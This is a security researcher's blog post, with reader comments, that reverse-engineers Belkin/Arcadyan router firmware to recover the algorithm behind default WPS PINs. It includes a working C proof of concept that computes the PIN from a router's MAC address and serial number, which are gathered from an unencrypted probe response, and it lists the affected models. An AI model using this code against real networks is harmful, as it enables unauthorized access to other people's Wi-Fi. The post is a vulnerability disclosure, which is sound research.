Reversing Belkin’s WPS Pin Algorithm

After finding D-Link’s WPS algorithm, I was curious to see which vendors might have similar algorithms, so I grabbed some Belkin firmware and started dissecting it. This particular firmware uses the SuperTask! RTOS, and in fact uses the same firmware obfuscation as seen previously on the Linksys WRT120N:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Obfuscated Arcadyan firmware, signature bytes: 0x12010920, see https://github.com/devttys0/wrt120n/deobfuscator
666624        0xA2C00         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 454656 bytes

Being a known obfuscation method, binwalk was able to de-obfuscate and extract the compressed firmware image. The next step was to figure out the code’s load address in order to get a proper disassembly in IDA; if the code is disassembled with the wrong load address, absolute memory references won’t be properly resolved.

Absolute addresses in the code can hint at the load address, such as this loop which zeros out the BSS data section:

BSS zero loop

BSS zero loop

BSS zeroing loops are usually easy to spot, as they will zero out relatively large regions of memory, and are typically encountered very early on in the code.

Here, the code is filling everything from 0x802655F0 to 0x80695574 with zeros, so this must be a valid address range in memory. Further, BSS is commonly located just after all the other code and data sections; in this case, the firmware image we’ve loaded into IDA is 0x2635EB bytes in size, so we would expect the BSS section to begin somewhere after this in memory:

End of ROM

End of ROM

In fact, subtracting the size of the firmware image from the start of the BSS section results in a value suspiciously close to 0x800002000:

0x802655F0 - 0x2635EB = 0x800002005

Setting 0x800002000 as the load address in IDA, we get a rather respectable disassembly:

A reasonable disassembly listing

A reasonable disassembly listing

With a reasonable disassembly, searching for a WPS pin generation algorithm could begin in ernest. When looking for functions related to generating WPS pins, it’s reasonable to assume that they’ll have to, at some point, calculate the WPS pin checksum. It would be useful to begin the search by first identifying the function(s) responsible for calculating the WPS pin checksum.

However, without a symbol table, finding a function conveniently named “wps_checksum” is not likely; luckily, MIPS C compilers tend to generate a predictable set of immediate values when generating the WPS checksum assembly code, a pattern I noticed when reversing D-Link’s WPS pin algorithm. Using an IDAPython script to search for these immediate values greatly simplifies the process of identifying the WPS checksum function:

WPS pin checksum immediate values

WPS pin checksum immediate values

There are only a few functions that call wps_checksum, and one of them contains a reference to a very interesting string:

"GenerateDefaultPin"

“GenerateDefaultPin”

There’s a lot of xoring and shifting going on in the GenerateDefaultPin code, but what is more interesting is what data it is munging. Looking at the values passed to GenerateDefaultPin, we can see that it is given both the router’s MAC address and serial number:

GenerateDefaultPin((char *buf, int unused, char *mac, char *serial);

GenerateDefaultPin(char *buf, int unused, char *mac, char *serial);

MAC addresses are easily gathered by a wireless attacker; serial numbers can be a bit more difficult. Although serial numbers aren’t particularly random, GenerateDefaultPin uses the least significant 4 digits of the serial number, which are unpredictable enough to prevent an external attacker from reliably calculating the WPS pin.

Or, at least that would be the case if the Belkin’s 802.11 probe response packets didn’t include the device’s serial number in its WPS information element:

Belkin probe response packet, captured in Wireshark

Belkin probe response packet, captured in Wireshark

Since WiFi probe request/response packets are not encrypted, an attacker can gather the MAC address (the MAC address used by the algorithm is the LAN MAC) and serial number of a target by sending a single probe request packet to a victim access point.

We just need to reverse the GenerateDefaultPin code to determine how it is using the MAC address and serial number to create a unique WPS pin (download PoC here):

/* Used in the Belkin code to convert an ASCII character to an integer */
int char2int(char c)
{
    char buf[2] = { 0 };

    buf[0] = c;
    return strtol(buf, NULL, 16);
}

/* Generates a standard WPS checksum from a 7 digit pin */
int wps_checksum(int pin)
{
    int div = 0;

    while(pin)
    {
        div += 3 * (pin % 10);
        pin /= 10;
        div += pin % 10;
        pin /= 10;
    }

    return ((10 - div % 10) % 10);
}

/* Munges the MAC and serial numbers to create a WPS pin */
int pingen(char *mac, char *serial)
{
#define NIC_NIBBLE_0    0
#define NIC_NIBBLE_1    1
#define NIC_NIBBLE_2    2
#define NIC_NIBBLE_3    3

#define SN_DIGIT_0      0
#define SN_DIGIT_1      1
#define SN_DIGIT_2      2
#define SN_DIGIT_3      3

    int sn[4], nic[4];
    int mac_len, serial_len;
    int k1, k2, pin;
    int p1, p2, p3;
    int t1, t2;

    mac_len = strlen(mac);
    serial_len = strlen(serial);

    /* Get the four least significant digits of the serial number */
    sn[SN_DIGIT_0] = char2int(serial[serial_len-1]);
    sn[SN_DIGIT_1] = char2int(serial[serial_len-2]);
    sn[SN_DIGIT_2] = char2int(serial[serial_len-3]);
    sn[SN_DIGIT_3] = char2int(serial[serial_len-4]);

    /* Get the four least significant nibbles of the MAC address */
    nic[NIC_NIBBLE_0] = char2int(mac[mac_len-1]);
    nic[NIC_NIBBLE_1] = char2int(mac[mac_len-2]);
    nic[NIC_NIBBLE_2] = char2int(mac[mac_len-3]);
    nic[NIC_NIBBLE_3] = char2int(mac[mac_len-4]);

    k1 = (sn[SN_DIGIT_2] + 
          sn[SN_DIGIT_3] +
          nic[NIC_NIBBLE_0] + 
          nic[NIC_NIBBLE_1]) % 16;

    k2 = (sn[SN_DIGIT_0] +
          sn[SN_DIGIT_1] +
          nic[NIC_NIBBLE_3] +
          nic[NIC_NIBBLE_2]) % 16;

    pin = k1 ^ sn[SN_DIGIT_1];
    
    t1 = k1 ^ sn[SN_DIGIT_0];
    t2 = k2 ^ nic[NIC_NIBBLE_1];
    
    p1 = nic[NIC_NIBBLE_0] ^ sn[SN_DIGIT_1] ^ t1;
    p2 = k2 ^ nic[NIC_NIBBLE_0] ^ t2;
    p3 = k1 ^ sn[SN_DIGIT_2] ^ k2 ^ nic[NIC_NIBBLE_2];
    
    k1 = k1 ^ k2;

    pin = (pin ^ k1) * 16;
    pin = (pin + t1) * 16;
    pin = (pin + p1) * 16;
    pin = (pin + t2) * 16;
    pin = (pin + p2) * 16;
    pin = (pin + k1) * 16;
    pin += p3;
    pin = (pin % 10000000) - (((pin % 10000000) / 10000000) * k1);
    
    return (pin * 10) + wps_checksum(pin);
}

Of the 24 Belkin routers tested, 80% of them were found to be using this algorithm for their default WPS pin:

Confirmed vulnerable:

  • F9K1001v4
  • F9K1001v5
  • F9K1002v1
  • F9K1002v2
  • F9K1002v5
  • F9K1103v1
  • F9K1112v1
  • F9K1113v1
  • F9K1105v1
  • F6D4230-4v2
  • F6D4230-4v3
  • F7D2301v1
  • F7D1301v1
  • F5D7234-4v3
  • F5D7234-4v4
  • F5D7234-4v5
  • F5D8233-4v1
  • F5D8233-4v3
  • F5D9231-4v1

Confirmed not vulnerable:

  • F9K1001v1
  • F9K1105v2
  • F6D4230-4v1
  • F5D9231-4v2
  • F5D8233-4v4

It’s not entirely fair to pick on Belkin though, as this appears to be an issue specific to Arcadyan, who is the ODM for many Belkin products, as well as others. This means that there are additional devices and vendors affected besides those listed above.

Bookmark the permalink.

20 Responses to Reversing Belkin’s WPS Pin Algorithm

  1. Jack Frost says:

    How ’bout dat Liam Neeson in Taken 3, doe?

  2. eduardo says:

    It is really nice write up. Keep up the good work!

  3. eduardo says:

    Did you check if the not-vulnerable are using a different algo? It could happen that they use a couple of algorithms.

    • Craig says:

      They probably are, but IIRC I didn’t see anything that looked like a WPS pin generation algorithm. There’s really no reason they should leave these algorithms in the firmware in the first place.

  4. Thankful says:

    THANK YOU so much for this! I’ve been poking at a Belkin firmware but I was a bit lost.

  5. Pingback: W ruterach TP-LINKa i Belkina odkryto nowe, poważne błędy | Zaufana Trzecia Strona

  6. Rena says:

    If the MAC address is known and only 4 digits of the serial number are used, what stops someone from just brute forcing all 10k serial numbers?

    • Craig says:

      You could do it, but that would require an active attack and would essentially be no different than using reaver (typically takes 10 hours or so, assuming the vendor didn’t implement brute force mitigations).

      Being able to precalculate the pin is much faster. :)

  7. Pingback: ste williams – ɘƨɿɘvɘЯ algo attack cracks Belkin router WPS PINs: researcher

  8. Pingback: We TOLD you not to use WPS on your Wi-Fi router! We TOLD you not to knit your own crypto! | Prague City Magazine / Living | the ins and outs of living in prague, czech republic

  9. Pingback: Reversing Belkin’s WPS Pin Algorithm | infopunk.org

  10. Pingback: Just need the MAC and serial number to generate Belkin WPS Pin

  11. eric says:

    Is there a possibility that TP- Link routers are vulnerable , such as D -Link and Belkin .

  12. eric says:

    whether TP – link uses a similar aloritam to generate VPS PIN as D -Link and Belkin and whether TP -link routers vulnerable

  13. Pingback: Hardware Security Resources | 懒得折腾

  14. Anonymous says:

    I searched on wikidev for:

    https://wikidevi.com/w/index.php?title=Special:Search&limit=500&offset=20&profile=default&search=arcadyan

    Here are the name brand routers/modems with arcadyan on their page:

    http://pastebin.com/YkAbpxGb

  15. Anonymous says:

    Just tested my WRT120N… It works!!!

  16. Mark says:

    i can confirm pingen generates the default pin for F7D4401 v1.

  17. Pingback: 18 – WPS Offline Pixie Dust Attack |

Leave a Reply

Your email address will not be published. Required fields are marked *